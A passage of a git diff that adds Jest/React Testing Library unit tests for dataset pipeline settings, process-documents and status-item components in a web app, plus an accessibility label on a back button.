+      expect(screen.getByTestId('has-estimate-data')).toHaveTextContent('false')
+    })
+
+    it('should update estimateData after successful preview', async () => {
+      // Arrange
+      const mockEstimateData = { chunks: [], total_tokens: 50 }
+      mockMutateAsync.mockImplementation((_req, opts) => {
+        opts?.onSuccess?.({ data: { outputs: mockEstimateData } })
+        return Promise.resolve({ data: { outputs: mockEstimateData } })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByTestId('has-estimate-data')).toHaveTextContent('true')
+      })
+    })
+
+    it('should set isPreview ref to false when process is clicked', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({})
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({ is_preview: false }),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should set isPreview ref to true when preview is clicked', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({ data: { outputs: {} } })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({ is_preview: true }),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should pass isPending=true to ChunkPreview when preview is pending', async () => {
+      // Arrange - Start with isPending=false so buttons are enabled
+      let isPendingState = false
+      mockUseRunPublishedPipeline.mockImplementation(() => ({
+        mutateAsync: mockMutateAsync,
+        isIdle: !isPendingState,
+        isPending: isPendingState,
+      }))
+
+      // A promise that never resolves to keep the pending state
+      const pendingPromise = new Promise<void>(() => undefined)
+      // When mutateAsync is called, set isPending to true and trigger rerender
+      mockMutateAsync.mockImplementation(() => {
+        isPendingState = true
+        return pendingPromise
+      })
+
+      const props = createDefaultProps()
+      const { rerender } = renderWithProviders(<PipelineSettings {...props} />)
+
+      // Act - Click preview button (sets isPreview.current = true and calls mutateAsync)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Update mock and rerender to reflect isPending=true state
+      mockUseRunPublishedPipeline.mockReturnValue({
+        mutateAsync: mockMutateAsync,
+        isIdle: false,
+        isPending: true,
+      })
+      rerender(
+        <QueryClientProvider client={createQueryClient()}>
+          <PipelineSettings {...props} />
+        </QueryClientProvider>,
+      )
+
+      // Assert - isPending && isPreview.current should both be true now
+      expect(screen.getByTestId('is-pending')).toHaveTextContent('true')
+    })
+
+    it('should pass isPending=false to ChunkPreview when process is pending (not preview)', async () => {
+      // Arrange - isPending is true but isPreview.current is false
+      mockUseRunPublishedPipeline.mockReturnValue({
+        mutateAsync: mockMutateAsync,
+        isIdle: false,
+        isPending: true,
+      })
+      mockMutateAsync.mockReturnValue(new Promise<void>(() => undefined))
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      // Click process (not preview) to set isPreview.current = false
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert - isPending && isPreview.current should be false (true && false = false)
+      await waitFor(() => {
+        expect(screen.getByTestId('is-pending')).toHaveTextContent('false')
+      })
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx b/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx
index a075aa3308..b5660259a8 100644
--- a/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx
+++ b/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx
@@ -31,6 +31,7 @@ const LeftHeader = ({
         variant='secondary-accent'
         className='absolute -left-11 top-3.5 size-9 rounded-full p-0'
         onClick={navigateBack}
+        aria-label={t('common.operation.back')}
       >
         <RiArrowLeftLine className='size-5 ' />
       </Button>
diff --git a/web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx b/web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx
new file mode 100644
index 0000000000..aae59b30a9
--- /dev/null
+++ b/web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx
@@ -0,0 +1,573 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import ProcessDocuments from './index'
+import { PipelineInputVarType } from '@/models/pipeline'
+import type { RAGPipelineVariable } from '@/models/pipeline'
+
+// Mock i18n
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}))
+
+// Mock dataset detail context - required for useInputVariables hook
+const mockPipelineId = 'pipeline-123'
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (selector: (state: { dataset: { pipeline_id: string } }) => string) =>
+    selector({ dataset: { pipeline_id: mockPipelineId } }),
+}))
+
+// Mock API call for pipeline processing params
+const mockParamsConfig = jest.fn()
+jest.mock('@/service/use-pipeline', () => ({
+  usePublishedPipelineProcessingParams: () => ({
+    data: mockParamsConfig(),
+    isFetching: false,
+  }),
+}))
+
+// Mock Form component - internal dependencies (useAppForm, BaseField) are too complex
+// Keep the mock minimal and focused on testing the integration
+jest.mock('../../../../create-from-pipeline/process-documents/form', () => {
+  return function MockForm({
+    ref,
+    initialData,
+    configurations,
+    onSubmit,
+    onPreview,
+    isRunning,
+  }: {
+    ref: React.RefObject<{ submit: () => void }>
+    initialData: Record<string, unknown>
+    configurations: Array<{ variable: string; label: string; type: string }>
+    schema: unknown
+    onSubmit: (data: Record<string, unknown>) => void
+    onPreview: () => void
+    isRunning: boolean
+  }) {
+    // Expose submit method via ref for parent component control
+    if (ref && typeof ref === 'object' && 'current' in ref) {
+      (ref as React.MutableRefObject<{ submit: () => void }>).current = {
+        submit: () => onSubmit(initialData),
+      }
+    }
+    return (
+      <form
+        data-testid="process-form"
+        onSubmit={(e) => {
+          e.preventDefault()
+          onSubmit(initialData)
+        }}
+      >
+        {/* Render actual field labels from configurations */}
+        {configurations.map((config, index) => (
+          <div key={index} data-testid={`field-${config.variable}`}>
+            <label>{config.label}</label>
+            <input
+              name={config.variable}
+              defaultValue={String(initialData[config.variable] ?? '')}
+              data-testid={`input-${config.variable}`}
+            />
+          </div>
+        ))}
+        <button type="button" data-testid="preview-btn" onClick={onPreview} disabled={isRunning}>
+          Preview
+        </button>
+      </form>
+    )
+  }
+})
+
+// Test utilities
+const createQueryClient = () =>
+  new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  })
+
+const renderWithProviders = (ui: React.ReactElement) => {
+  const queryClient = createQueryClient()
+  return render(
+    <QueryClientProvider client={queryClient}>
+      {ui}
+    </QueryClientProvider>,
+  )
+}
+
+// Factory function for creating mock variables - matches RAGPipelineVariable type
+const createMockVariable = (overrides: Partial<RAGPipelineVariable> = {}): RAGPipelineVariable => ({
+  belong_to_node_id: 'node-123',
+  type: PipelineInputVarType.textInput,
+  variable: 'test_var',
+  label: 'Test Variable',
+  required: false,
+  ...overrides,
+})
+
+// Default props factory
+const createDefaultProps = (overrides: Partial<{
+  datasourceNodeId: string
+  lastRunInputData: Record<string, unknown>
+  isRunning: boolean
+  ref: React.RefObject<{ submit: () => void } | null>
+  onProcess: () => void
+  onPreview: () => void
+  onSubmit: (data: Record<string, unknown>) => void
+}> = {}) => ({
+  datasourceNodeId: 'node-123',
+  lastRunInputData: {},
+  isRunning: false,
+  ref: { current: null } as React.RefObject<{ submit: () => void } | null>,
+  onProcess: jest.fn(),
+  onPreview: jest.fn(),
+  onSubmit: jest.fn(),
+  ...overrides,
+})
+
+describe('ProcessDocuments', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Default: return empty variables
+    mockParamsConfig.mockReturnValue({ variables: [] })
+  })
+
+  // ==================== Rendering Tests ====================
+  // Test basic rendering and component structure
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert - verify both Form and Actions are rendered
+      expect(screen.getByTestId('process-form')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })).toBeInTheDocument()
+    })
+
+    it('should render with correct container structure', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex', 'flex-col', 'gap-y-4', 'pt-4')
+    })
+
+    it('should render form fields based on variables configuration', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number }),
+        createMockVariable({ variable: 'separator', label: 'Separator', type: PipelineInputVarType.textInput }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert - real hooks transform variables to configurations
+      expect(screen.getByTestId('field-chunk_size')).toBeInTheDocument()
+      expect(screen.getByTestId('field-separator')).toBeInTheDocument()
+      expect(screen.getByText('Chunk Size')).toBeInTheDocument()
+      expect(screen.getByText('Separator')).toBeInTheDocument()
+    })
+  })
+
+  // ==================== Props Testing ====================
+  // Test how component behaves with different prop values
+  describe('Props', () => {
+    describe('lastRunInputData', () => {
+      it('should use lastRunInputData as initial form values', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number, default_value: '100' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const lastRunInputData = { chunk_size: 500 }
+        const props = createDefaultProps({ lastRunInputData })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert - lastRunInputData should override default_value
+        const input = screen.getByTestId('input-chunk_size') as HTMLInputElement
+        expect(input.defaultValue).toBe('500')
+      })
+
+      it('should use default_value when lastRunInputData is empty', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number, default_value: '100' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const props = createDefaultProps({ lastRunInputData: {} })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        const input = screen.getByTestId('input-chunk_size') as HTMLInputElement
+        expect(input.value).toBe('100')
+      })
+    })
+
+    describe('isRunning', () => {
+      it('should enable Actions button when isRunning is false', () => {
+        // Arrange
+        const props = createDefaultProps({ isRunning: false })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        const processButton = screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })
+        expect(processButton).not.toBeDisabled()
+      })
+
+      it('should disable Actions button when isRunning is true', () => {
+        // Arrange
+        const props = createDefaultProps({ isRunning: true })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        const processButton = screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })
+        expect(processButton).toBeDisabled()
+      })
+
+      it('should disable preview button when isRunning is true', () => {
+        // Arrange
+        const props = createDefaultProps({ isRunning: true })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('preview-btn')).toBeDisabled()
+      })
+    })
+
+    describe('ref', () => {
+      it('should expose submit method via ref', () => {
+        // Arrange
+        const ref = { current: null } as React.RefObject<{ submit: () => void } | null>
+        const onSubmit = jest.fn()
+        const props = createDefaultProps({ ref, onSubmit })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(ref.current).not.toBeNull()
+        expect(typeof ref.current?.submit).toBe('function')
+
+        // Act - call submit via ref
+        ref.current?.submit()
+
+        // Assert - onSubmit should be called
+        expect(onSubmit).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ==================== User Interactions ====================
+  // Test event handlers and user interactions
+  describe('User Interactions', () => {
+    describe('onProcess', () => {
+      it('should call onProcess when Save and Process button is clicked', () => {
+        // Arrange
+        const onProcess = jest.fn()
+        const props = createDefaultProps({ onProcess })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+        // Assert
+        expect(onProcess).toHaveBeenCalledTimes(1)
+      })
+
+      it('should not call onProcess when button is disabled due to isRunning', () => {
+        // Arrange
+        const onProcess = jest.fn()
+        const props = createDefaultProps({ onProcess, isRunning: true })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+        // Assert
+        expect(onProcess).not.toHaveBeenCalled()
+      })
+    })
+
+    describe('onPreview', () => {
+      it('should call onPreview when preview button is clicked', () => {
+        // Arrange
+        const onPreview = jest.fn()
+        const props = createDefaultProps({ onPreview })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.click(screen.getByTestId('preview-btn'))
+
+        // Assert
+        expect(onPreview).toHaveBeenCalledTimes(1)
+      })
+    })
+
+    describe('onSubmit', () => {
+      it('should call onSubmit with form data when form is submitted', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number, default_value: '100' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const onSubmit = jest.fn()
+        const props = createDefaultProps({ onSubmit })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.submit(screen.getByTestId('process-form'))
+
+        // Assert - should submit with initial data transformed by real hooks
+        // Note: default_value is string type, so the value remains as string
+        expect(onSubmit).toHaveBeenCalledWith({ chunk_size: '100' })
+      })
+    })
+  })
+
+  // ==================== Data Transformation Tests ====================
+  // Test real hooks transform data correctly
+  describe('Data Transformation', () => {
+    it('should transform text-input variable to string initial value', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'name', label: 'Name', type: PipelineInputVarType.textInput, default_value: 'default' }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const input = screen.getByTestId('input-name') as HTMLInputElement
+      expect(input.defaultValue).toBe('default')
+    })
+
+    it('should transform number variable to number initial value', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'count', label: 'Count', type: PipelineInputVarType.number, default_value: '42' }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const input = screen.getByTestId('input-count') as HTMLInputElement
+      expect(input.defaultValue).toBe('42')
+    })
+
+    it('should use empty string for text-input without default value', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'name', label: 'Name', type: PipelineInputVarType.textInput }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const input = screen.getByTestId('input-name') as HTMLInputElement
+      expect(input.defaultValue).toBe('')
+    })
+
+    it('should prioritize lastRunInputData over default_value', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'size', label: 'Size', type: PipelineInputVarType.number, default_value: '100' }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps({ lastRunInputData: { size: 999 } })
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const input = screen.getByTestId('input-size') as HTMLInputElement
+      expect(input.defaultValue).toBe('999')
+    })
+  })
+
+  // ==================== Edge Cases ====================
+  // Test boundary conditions and error handling
+  describe('Edge Cases', () => {
+    describe('Empty/Null data handling', () => {
+      it('should handle undefined paramsConfig.variables', () => {
+        // Arrange
+        mockParamsConfig.mockReturnValue({ variables: undefined })
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert - should render without fields
+        expect(screen.getByTestId('process-form')).toBeInTheDocument()
+        expect(screen.queryByTestId(/^field-/)).not.toBeInTheDocument()
+      })
+
+      it('should handle null paramsConfig', () => {
+        // Arrange
+        mockParamsConfig.mockReturnValue(null)
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('process-form')).toBeInTheDocument()
+      })
+
+      it('should handle empty variables array', () => {
+        // Arrange
+        mockParamsConfig.mockReturnValue({ variables: [] })
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('process-form')).toBeInTheDocument()
+        expect(screen.queryByTestId(/^field-/)).not.toBeInTheDocument()
+      })
+    })
+
+    describe('Multiple variables', () => {
+      it('should handle multiple variables of different types', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'text_field', label: 'Text', type: PipelineInputVarType.textInput, default_value: 'hello' }),
+          createMockVariable({ variable: 'number_field', label: 'Number', type: PipelineInputVarType.number, default_value: '123' }),
+          createMockVariable({ variable: 'select_field', label: 'Select', type: PipelineInputVarType.select, default_value: 'option1' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert - all fields should be rendered
+        expect(screen.getByTestId('field-text_field')).toBeInTheDocument()
+        expect(screen.getByTestId('field-number_field')).toBeInTheDocument()
+        expect(screen.getByTestId('field-select_field')).toBeInTheDocument()
+      })
+
+      it('should submit all variables data correctly', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'field1', label: 'Field 1', type: PipelineInputVarType.textInput, default_value: 'value1' }),
+          createMockVariable({ variable: 'field2', label: 'Field 2', type: PipelineInputVarType.number, default_value: '42' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const onSubmit = jest.fn()
+        const props = createDefaultProps({ onSubmit })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.submit(screen.getByTestId('process-form'))
+
+        // Assert - default_value is string type, so values remain as strings
+        expect(onSubmit).toHaveBeenCalledWith({
+          field1: 'value1',
+          field2: '42',
+        })
+      })
+    })
+
+    describe('Variable with options (select type)', () => {
+      it('should handle select variable with options', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({
+            variable: 'mode',
+            label: 'Mode',
+            type: PipelineInputVarType.select,
+            options: ['auto', 'manual', 'custom'],
+            default_value: 'auto',
+          }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('field-mode')).toBeInTheDocument()
+        const input = screen.getByTestId('input-mode') as HTMLInputElement
+        expect(input.defaultValue).toBe('auto')
+      })
+    })
+  })
+
+  // ==================== Integration Tests ====================
+  // Test Form and Actions components work together with real hooks
+  describe('Integration', () => {
+    it('should coordinate form submission flow correctly', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'setting', label: 'Setting', type: PipelineInputVarType.textInput, default_value: 'initial' }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const onProcess = jest.fn()
+      const onSubmit = jest.fn()
+      const props = createDefaultProps({ onProcess, onSubmit })
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert - form is rendered with correct initial data
+      const input = screen.getByTestId('input-setting') as HTMLInputElement
+      expect(input.defaultValue).toBe('initial')
+
+      // Act - click process button
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert - onProcess is called
+      expect(onProcess).toHaveBeenCalled()
+    })
+
+    it('should render complete UI with all interactive elements', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'test', label: 'Test Field', type: PipelineInputVarType.textInput }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert - all UI elements are present
+      expect(screen.getByTestId('process-form')).toBeInTheDocument()
+      expect(screen.getByText('Test Field')).toBeInTheDocument()
+      expect(screen.getByTestId('preview-btn')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/status-item/index.spec.tsx b/web/app/components/datasets/documents/status-item/index.spec.tsx
new file mode 100644
index 0000000000..b057af9102
--- /dev/null
+++ b/web/app/components/datasets/documents/status-item/index.spec.tsx
@@ -0,0 +1,968 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import StatusItem from './index'
+import type { DocumentDisplayStatus } from '@/models/datasets'
+
+// Mock i18n - required for translation
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}))
+
+// Mock ToastContext - required to verify notifications
+const mockNotify = jest.fn()
+jest.mock('use-context-selector', () => ({
+  ...jest.requireActual('use-context-selector'),
+  useContext: () => ({ notify: mockNotify }),
+}))
+
+// Mock document service hooks - required to avoid real API calls
+const mockEnableDocument = jest.fn()
+const mockDisableDocument = jest.fn()
+const mockDeleteDocument = jest.fn()
+
+jest.mock('@/service/knowledge/use-document', () => ({
+  useDocumentEnable: () => ({ mutateAsync: mockEnableDocument }),
+  useDocumentDisable: () => ({ mutateAsync: mockDisableDocument }),
+  useDocumentDelete: () => ({ mutateAsync: mockDeleteDocument }),
+}))
+
+// Mock useDebounceFn to execute immediately for testing
+jest.mock('ahooks', () => ({
+  ...jest.requireActual('ahooks'),
+  useDebounceFn: (fn: (...args: unknown[]) => void) => ({ run: fn }),
+}))
+
+// Test utilities
+const createQueryClient = () =>
+  new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  })
+
+const renderWithProviders = (ui: React.ReactElement) => {
+  const queryClient = createQueryClient()
+  return render(
+    <QueryClientProvider client={queryClient}>
+      {ui}
+    </QueryClientProvider>,
+  )
+}
+
+// Factory functions for test data
+const createDetailProps = (overrides: Partial<{
+  enabled: boolean
+  archived: boolean
+  id: string
+}> = {}) => ({
+  enabled: false,
+  archived: false,
+  id: 'doc-123',
+  ...overrides,
+})
+
+describe('StatusItem', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockEnableDocument.mockResolvedValue({ result: 'success' })
+    mockDisableDocument.mockResolvedValue({ result: 'success' })
+    mockDeleteDocument.mockResolvedValue({ result: 'success' })
+  })
+
+  // ==================== Rendering Tests ====================
+  // Test basic rendering with different status values
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="available" />)
+
+      // Assert - check indicator element exists (real Indicator component)
+      const indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toBeInTheDocument()
+    })
+
+    it.each([
+      ['queuing', 'bg-components-badge-status-light-warning-bg'],
+      ['indexing', 'bg-components-badge-status-light-normal-bg'],
+      ['paused', 'bg-components-badge-status-light-warning-bg'],
+      ['error', 'bg-components-badge-status-light-error-bg'],
+      ['available', 'bg-components-badge-status-light-success-bg'],
+      ['enabled', 'bg-components-badge-status-light-success-bg'],
+      ['disabled', 'bg-components-badge-status-light-disabled-bg'],
+      ['archived', 'bg-components-badge-status-light-disabled-bg'],
+    ] as const)('should render status "%s" with correct indicator background', (status, expectedBg) => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status={status} />)
+
+      // Assert
+      const indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toHaveClass(expectedBg)
+    })
+
+    it('should render status text from translation', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="available" />)
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.list.status.available')).toBeInTheDocument()
+    })
+
+    it('should handle case-insensitive status', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem status={'AVAILABLE' as DocumentDisplayStatus} />,
+      )
+
+      // Assert
+      const indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toHaveClass('bg-components-badge-status-light-success-bg')
+    })
+  })
+
+  // ==================== Props Testing ====================
+  // Test all prop variations and combinations
+  describe('Props', () => {
+    // reverse prop tests
+    describe('reverse prop', () => {
+      it('should apply default layout when reverse is false', () => {
+        // Arrange & Act
+        const { container } = renderWithProviders(<StatusItem status="available" reverse={false} />)
+
+        // Assert
+        const wrapper = container.firstChild as HTMLElement
+        expect(wrapper).not.toHaveClass('flex-row-reverse')
+      })
+
+      it('should apply reversed layout when reverse is true', () => {
+        // Arrange & Act
+        const { container } = renderWithProviders(<StatusItem status="available" reverse />)
+
+        // Assert
+        const wrapper = container.firstChild as HTMLElement
+        expect(wrapper).toHaveClass('flex-row-reverse')
+      })
+
+      it('should apply ml-2 to indicator when reversed', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="available" reverse />)
+
+        // Assert
+        const indicator = screen.getByTestId('status-indicator')
+        expect(indicator).toHaveClass('ml-2')
+      })
+
+      it('should apply mr-2 to indicator when not reversed', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="available" reverse={false} />)
+
+        // Assert
+        const indicator = screen.getByTestId('status-indicator')
+        expect(indicator).toHaveClass('mr-2')
+      })
+    })
+
+    // scene prop tests
+    describe('scene prop', () => {
+      it('should not render switch in list scene', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            scene="list"
+            detail={createDetailProps()}
+          />,
+        )
+
+        // Assert - Switch renders as a button element
+        expect(screen.queryByRole('switch')).not.toBeInTheDocument()
+      })
+
+      it('should render switch in detail scene', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            scene="detail"
+            detail={createDetailProps()}
+          />,
+        )
+
+        // Assert
+        expect(screen.getByRole('switch')).toBeInTheDocument()
+      })
+
+      it('should default to list scene', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            detail={createDetailProps()}
+          />,
+        )
+
+        // Assert
+        expect(screen.queryByRole('switch')).not.toBeInTheDocument()
+      })
+    })
+
+    // textCls prop tests
+    describe('textCls prop', () => {
+      it('should apply custom text class', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem status="available" textCls="custom-text-class" />,
+        )
+
+        // Assert
+        const statusText = screen.getByText('datasetDocuments.list.status.available')
+        expect(statusText).toHaveClass('custom-text-class')
+      })
+
+      it('should default to empty string', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="available" />)
+
+        // Assert
+        const statusText = screen.getByText('datasetDocuments.list.status.available')
+        expect(statusText).toHaveClass('text-sm')
+      })
+    })
+
+    // errorMessage prop tests
+    describe('errorMessage prop', () => {
+      it('should render tooltip trigger when errorMessage is provided', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem status="error" errorMessage="Something went wrong" />,
+        )
+
+        // Assert - tooltip trigger element should exist
+        const tooltipTrigger = screen.getByTestId('error-tooltip-trigger')
+        expect(tooltipTrigger).toBeInTheDocument()
+      })
+
+      it('should show error message on hover', async () => {
+        // Arrange
+        renderWithProviders(
+          <StatusItem status="error" errorMessage="Something went wrong" />,
+        )
+
+        // Act - hover the tooltip trigger
+        const tooltipTrigger = screen.getByTestId('error-tooltip-trigger')
+        fireEvent.mouseEnter(tooltipTrigger)
+
+        // Assert - wait for tooltip content to appear
+        expect(await screen.findByText('Something went wrong')).toBeInTheDocument()
+      })
+
+      it('should not render tooltip trigger when errorMessage is not provided', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="error" />)
+
+        // Assert - tooltip trigger should not exist
+        const tooltipTrigger = screen.queryByTestId('error-tooltip-trigger')
+        expect(tooltipTrigger).not.toBeInTheDocument()
+      })
+
+      it('should not render tooltip trigger when errorMessage is empty', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="error" errorMessage="" />)
+
+        // Assert - tooltip trigger should not exist
+        const tooltipTrigger = screen.queryByTestId('error-tooltip-trigger')
+        expect(tooltipTrigger).not.toBeInTheDocument()
+      })
+    })
+
+    // detail prop tests
+    describe('detail prop', () => {
+      it('should use default values when detail is undefined', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem status="available" scene="detail" />,
+        )
+
+        // Assert - switch should be unchecked (defaultValue = false when archived = false and enabled = false)
+        const switchEl = screen.getByRole('switch')
+        expect(switchEl).toHaveAttribute('aria-checked', 'false')
+      })
+
+      it('should use enabled value from detail', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            scene="detail"
+            detail={createDetailProps({ enabled: true })}
+          />,
+        )
+
+        // Assert
+        const switchEl = screen.getByRole('switch')
